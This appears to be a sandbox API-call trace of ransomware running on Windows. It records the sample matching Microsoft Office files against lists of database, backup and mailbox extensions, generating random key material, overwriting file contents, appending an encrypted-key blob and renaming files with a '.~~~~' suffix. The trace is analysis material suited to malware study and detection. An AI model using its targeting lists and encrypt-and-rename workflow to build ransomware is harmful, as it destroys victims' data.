	[0135.731] lstrlenW (lpString=".vhd") returned 4
	[0135.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".vhd") returned 0x0
	[0135.732] lstrlenW (lpString=".bac") returned 4
	[0135.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".bac") returned 0x0
	[0135.732] lstrlenW (lpString=".mdf") returned 4
	[0135.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".mdf") returned 0x0
	[0135.732] lstrlenW (lpString=".BAK") returned 4
	[0135.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".BAK") returned 0x0
	[0135.732] lstrlenW (lpString=".BAC") returned 4
	[0135.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".BAC") returned 0x0
	[0135.732] lstrlenW (lpString=".dbs") returned 4
	[0135.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".dbs") returned 0x0
	[0135.732] lstrlenW (lpString=".vhdx") returned 5
	[0135.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".vhdx") returned 0x0
	[0135.732] lstrlenW (lpString=".NDF") returned 4
	[0135.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".NDF") returned 0x0
	[0135.732] lstrlenW (lpString=".dat") returned 4
	[0135.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".dat") returned 0x0
	[0135.732] lstrlenW (lpString=".DBS") returned 4
	[0135.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".DBS") returned 0x0
	[0135.732] lstrlenW (lpString=".CKP") returned 4
	[0135.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".CKP") returned 0x0
	[0135.732] lstrlenW (lpString=".edb") returned 4
	[0135.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".edb") returned 0x0
	[0135.732] lstrlenW (lpString=".PST") returned 4
	[0135.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".PST") returned 0x0
	[0135.732] lstrlenW (lpString=".dbf") returned 4
	[0135.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".dbf") returned 0x0
	[0135.732] lstrlenW (lpString=".SQL") returned 4
	[0135.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".SQL") returned 0x0
	[0135.732] lstrlenW (lpString=".pst") returned 4
	[0135.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".pst") returned 0x0
	[0135.732] lstrlenW (lpString=".dbv") returned 4
	[0135.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".dbv") returned 0x0
	[0135.733] lstrlenW (lpString=".SDF") returned 4
	[0135.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".SDF") returned 0x0
	[0135.733] lstrlenW (lpString=".dtxs") returned 5
	[0135.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".dtxs") returned 0x0
	[0135.733] lstrlenW (lpString=".db3") returned 4
	[0135.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".db3") returned 0x0
	[0135.733] lstrlenW (lpString=".OST") returned 4
	[0135.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".OST") returned 0x0
	[0135.733] lstrlenW (lpString=".dbx") returned 4
	[0135.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".dbx") returned 0x0
	[0135.733] lstrlenW (lpString=".DB3") returned 4
	[0135.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".DB3") returned 0x0
	[0135.733] lstrlenW (lpString=".DAT") returned 4
	[0135.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".DAT") returned 0x0
	[0135.733] lstrlenW (lpString=".VHDX") returned 5
	[0135.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".VHDX") returned 0x0
	[0135.733] lstrlenW (lpString=".ndf") returned 4
	[0135.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".ndf") returned 0x0
	[0135.733] lstrlenW (lpString=".DB") returned 3
	[0135.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".DB") returned 0x0
	[0135.733] lstrlenW (lpString=".sql") returned 4
	[0135.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".sql") returned 0x0
	[0135.733] lstrlenW (lpString=".MYD") returned 4
	[0135.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".MYD") returned 0x0
	[0135.733] lstrlenW (lpString=".DBT") returned 4
	[0135.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".DBT") returned 0x0
	[0135.733] lstrlenW (lpString=".ACCDB") returned 6
	[0135.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".ACCDB") returned 0x0
	[0135.733] lstrlenW (lpString=".fdb") returned 4
	[0135.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".fdb") returned 0x0
	[0135.733] lstrlenW (lpString=".bak") returned 4
	[0135.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".bak") returned 0x0
	[0135.734] lstrlenW (lpString=".myd") returned 4
	[0135.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".myd") returned 0x0
	[0135.734] lstrlenW (lpString=".DTXS") returned 5
	[0135.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".DTXS") returned 0x0
	[0135.734] lstrlenW (lpString=".ckp") returned 4
	[0135.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".ckp") returned 0x0
	[0135.734] lstrlenW (lpString=".dbt") returned 4
	[0135.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".dbt") returned 0x0
	[0135.734] lstrlenW (lpString=".db") returned 3
	[0135.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".db") returned 0x0
	[0135.734] lstrlenW (lpString=".TXT") returned 4
	[0135.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".TXT") returned 0x0
	[0135.734] lstrlenW (lpString=".MDF") returned 4
	[0135.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".MDF") returned 0x0
	[0135.734] lstrlenW (lpString=".bdb") returned 4
	[0135.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".bdb") returned 0x0
	[0135.734] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0135.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0135.734] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0135.734] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0135.734] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394f48) returned 1
	[0135.735] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0135.735] CryptReleaseContext (hProv=0x394f48, dwFlags=0x0) returned 1
	[0135.735] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0135.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0135.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0135.736] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25572577563) returned 1
	[0135.736] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xba58fc50, dwHighDateTime=0x1d60e1e)) 
	[0135.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0135.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0135.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0135.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e48c8
	[0135.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0135.736] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e48c8 | out: hHeap=0x300000) returned 1
	[0135.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0135.736] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0135.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x399ba8
	[0135.736] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0135.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7ab0
	[0135.736] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x399ba8 | out: hHeap=0x300000) returned 1
	[0135.736] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0135.737] GetLastError () returned 0x0
	[0135.737] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0135.737] GetLastError () returned 0x0
	[0135.740] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0135.740] WriteFile (in: hFile=0x108, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0135.740] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0135.740] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0135.740] WriteFile (in: hFile=0x108, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0135.741] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0135.741] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0135.741] CloseHandle (hObject=0x108) returned 1
	[0135.741] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x399ba8
	[0135.741] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.rest.idx_dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.rest.idx_dll.~~~~")) returned 1
	[0135.744] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x399ba8 | out: hHeap=0x300000) returned 1
	[0135.744] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0135.744] GetLastError () returned 0x0
	[0135.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".scr") returned 0x0
	[0135.765] lstrlenW (lpString=".cmd") returned 4
	[0135.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".cmd") returned 0x0
	[0135.765] lstrlenW (lpString=".dll") returned 4
	[0135.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".dll") returned 0x0
	[0135.765] lstrlenW (lpString=".bat") returned 4
	[0135.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".bat") returned 0x0
	[0135.765] lstrlenW (lpString=".cpl") returned 4
	[0135.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".cpl") returned 0x0
	[0135.765] lstrlenW (lpString=".sys") returned 4
	[0135.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".sys") returned 0x0
	[0135.766] lstrlenW (lpString=".msc") returned 4
	[0135.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".msc") returned 0x0
	[0135.766] lstrlenW (lpString=".com") returned 4
	[0135.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".com") returned 0x0
	[0135.766] lstrlenW (lpString=".lnk") returned 4
	[0135.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".lnk") returned 0x0
	[0135.766] lstrlenW (lpString=".msp") returned 4
	[0135.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".msp") returned 0x0
	[0135.766] lstrlenW (lpString=".pif") returned 4
	[0135.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".pif") returned 0x0
	[0135.766] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0135.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch="msp\r\n.pif") returned 0x0
	[0135.766] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgchart.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0135.855] lstrlenW (lpString=".sqb") returned 4
	[0135.856] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".sqb") returned 0x0
	[0135.856] lstrlenW (lpString=".ost") returned 4
	[0135.856] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".ost") returned 0x0
	[0135.856] lstrlenW (lpString=".txt") returned 4
	[0135.856] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".txt") returned 0x0
	[0135.856] lstrlenW (lpString=".mdt") returned 4
	[0135.856] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".mdt") returned 0x0
	[0135.856] lstrlenW (lpString=".BDB") returned 4
	[0135.856] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".BDB") returned 0x0
	[0135.856] lstrlenW (lpString=".eql") returned 4
	[0135.856] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".eql") returned 0x0
	[0135.856] lstrlenW (lpString=".DBF") returned 4
	[0135.856] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".DBF") returned 0x0
	[0135.856] lstrlenW (lpString=".EQL") returned 4
	[0135.856] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".EQL") returned 0x0
	[0135.856] lstrlenW (lpString=".FDB") returned 4
	[0135.856] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".FDB") returned 0x0
	[0135.856] lstrlenW (lpString=".EDB") returned 4
	[0135.856] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".EDB") returned 0x0
	[0135.856] lstrlenW (lpString=".DACPAC") returned 7
	[0135.856] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".DACPAC") returned 0x0
	[0135.856] lstrlenW (lpString=".VHD") returned 4
	[0135.856] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".VHD") returned 0x0
	[0135.856] lstrlenW (lpString=".DBV") returned 4
	[0135.856] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".DBV") returned 0x0
	[0135.857] lstrlenW (lpString=".dacpac") returned 7
	[0135.857] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".dacpac") returned 0x0
	[0135.857] lstrlenW (lpString=".sdf") returned 4
	[0135.857] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".sdf") returned 0x0
	[0135.857] lstrlenW (lpString=".accdb") returned 6
	[0135.857] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".accdb") returned 0x0
	[0135.857] lstrlenW (lpString=".DBX") returned 4
	[0135.857] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".DBX") returned 0x0
	[0135.857] lstrlenW (lpString=".MDT") returned 4
	[0135.857] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".MDT") returned 0x0
	[0135.857] lstrlenW (lpString=".SQB") returned 4
	[0135.857] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".SQB") returned 0x0
	[0135.857] lstrlenW (lpString=".vhd") returned 4
	[0135.857] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".vhd") returned 0x0
	[0135.857] lstrlenW (lpString=".bac") returned 4
	[0135.857] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".bac") returned 0x0
	[0135.857] lstrlenW (lpString=".mdf") returned 4
	[0135.857] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".mdf") returned 0x0
	[0135.857] lstrlenW (lpString=".BAK") returned 4
	[0135.857] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".BAK") returned 0x0
	[0135.857] lstrlenW (lpString=".BAC") returned 4
	[0135.857] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".BAC") returned 0x0
	[0135.857] lstrlenW (lpString=".dbs") returned 4
	[0135.857] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".dbs") returned 0x0
	[0135.857] lstrlenW (lpString=".vhdx") returned 5
	[0135.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".vhdx") returned 0x0
	[0135.858] lstrlenW (lpString=".NDF") returned 4
	[0135.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".NDF") returned 0x0
	[0135.858] lstrlenW (lpString=".dat") returned 4
	[0135.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".dat") returned 0x0
	[0135.858] lstrlenW (lpString=".DBS") returned 4
	[0135.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".DBS") returned 0x0
	[0135.858] lstrlenW (lpString=".CKP") returned 4
	[0135.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".CKP") returned 0x0
	[0135.858] lstrlenW (lpString=".edb") returned 4
	[0135.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".edb") returned 0x0
	[0135.858] lstrlenW (lpString=".PST") returned 4
	[0135.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".PST") returned 0x0
	[0135.858] lstrlenW (lpString=".dbf") returned 4
	[0135.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".dbf") returned 0x0
	[0135.858] lstrlenW (lpString=".SQL") returned 4
	[0135.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".SQL") returned 0x0
	[0135.858] lstrlenW (lpString=".pst") returned 4
	[0135.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".pst") returned 0x0
	[0135.858] lstrlenW (lpString=".dbv") returned 4
	[0135.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".dbv") returned 0x0
	[0135.858] lstrlenW (lpString=".SDF") returned 4
	[0135.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".SDF") returned 0x0
	[0135.858] lstrlenW (lpString=".dtxs") returned 5
	[0135.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".dtxs") returned 0x0
	[0135.858] lstrlenW (lpString=".db3") returned 4
	[0135.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".db3") returned 0x0
	[0135.859] lstrlenW (lpString=".OST") returned 4
	[0135.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".OST") returned 0x0
	[0135.859] lstrlenW (lpString=".dbx") returned 4
	[0135.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".dbx") returned 0x0
	[0135.859] lstrlenW (lpString=".DB3") returned 4
	[0135.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".DB3") returned 0x0
	[0135.859] lstrlenW (lpString=".DAT") returned 4
	[0135.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".DAT") returned 0x0
	[0135.859] lstrlenW (lpString=".VHDX") returned 5
	[0135.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".VHDX") returned 0x0
	[0135.859] lstrlenW (lpString=".ndf") returned 4
	[0135.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".ndf") returned 0x0
	[0135.859] lstrlenW (lpString=".DB") returned 3
	[0135.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".DB") returned 0x0
	[0135.859] lstrlenW (lpString=".sql") returned 4
	[0135.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".sql") returned 0x0
	[0135.859] lstrlenW (lpString=".MYD") returned 4
	[0135.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL", lpSrch=".MYD") returned 0x0
	[0135.859] lstrlenW (lpString=".DBT") returned 4
